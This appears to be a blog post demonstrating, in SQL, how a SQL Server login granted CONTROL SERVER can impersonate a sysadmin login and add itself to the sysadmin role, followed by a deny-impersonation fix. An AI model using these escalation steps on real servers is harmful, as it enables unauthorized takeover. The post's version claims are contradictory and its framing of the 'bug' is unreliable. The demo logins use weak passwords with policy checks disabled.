Hi dear we have big bug in SQL Server 2012 security this from my personal view it’s Breakthrough in SQL Server 2012 Security in SQL Server 2012 can the user IMPERSONATE another user and take his privilege and do what he need What !! what i am saying is fact in SQL Server 2012 but it’s fixed in SQL Sever 2014 let’s go for demo:

Open your SQL Server 2014 and open 2 sessions

First Session : Create sysadmin user and read user

1- Sysadmin user

USE [master]
GO
CREATE LOGIN [adminuser] WITH PASSWORD=N’admin’, DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
ALTER SERVER ROLE [sysadmin] ADD MEMBER [adminuser]
GO

2- Read user

USE [master]
GO
CREATE LOGIN [Readeruser] WITH PASSWORD=N’P@$$w0rd’
GO

Second Session :open it by the read user [Readeruser] and we will try to check his privlige and check if he can read sp_readerrorlog or no.

Run the below query you will find this user have only 2 permission (CONNECT SQL , VIEW ANY DATABASE)

Select entity_name,permission_name from sys.fn_my_permissions(NULL,NULL)

First Session: we will grant control server for the reader user

Grant control server to [Readeruser]

Second Session : try to check now his permission  you will find he have alot of permission but still didn’t have permission to read the errorlog

Select entity_name,permission_name from sys.fn_my_permissions(NULL,NULL)

exec sp_readerrorlog

it will return to you the below error :

Msg 15003, Level 16, State 1, Procedure sp_readerrorlog, Line 11
Only members of the securityadmin role can execute this stored procedure.

Here the reader user he will try to add high privilege for him by adding his self in Role of sysadmin but this not applicable because he didn’t have full permission to do this from here the user deiced to Breakthrough the Security in SQL Server by IMPERSONATEING the sysadmin user

Second Session : the user will take the privilege of sysadmin user

execute as login =’adminuser’

now the user change the session to work with another user have full privilege then he will grant sysadmin for his self to check which user now connected run this Query

Select SUSER_NAME()

reader user will ad sysadmin for his self :

alter server role sysadmin
add member [readeruser]

Select SUSER_NAME()

Now do revert to return the session for the reader user

REVERT

now if you go to check the reader user you will find this user have Sysadmin Role (this big issue in SQL Server security ) but SQL Server 2014 fixed it by the new Permission IMPERSONATE ANY LOGIN Permission

How to Fix this Security issue :

we will return back and drop the user [Readeruser] then add it again

DROP LOGIN [Readeruser]

USE [master]
GO
CREATE LOGIN [Readeruser] WITH PASSWORD=N’P@$$w0rd’
GO

Grant control server to [Readeruser]

Then deny from him the Characteristic of  IMPERSONATE ANY LOGIN Permission 

Deny IMPERSONATE on login :: [adminuser] to [Readeruser]

now login by user [Readeruser] and try to run this below Script

execute as login =’adminuser’

we will receive this error

Msg 15406, Level 16, State 1, Line 1
Cannot execute as the server principal because the principal “adminuser” does not exist, this type of principal cannot be impersonated, or you do not have permission.

Really it’s amazing new SQL Server 2014 Permission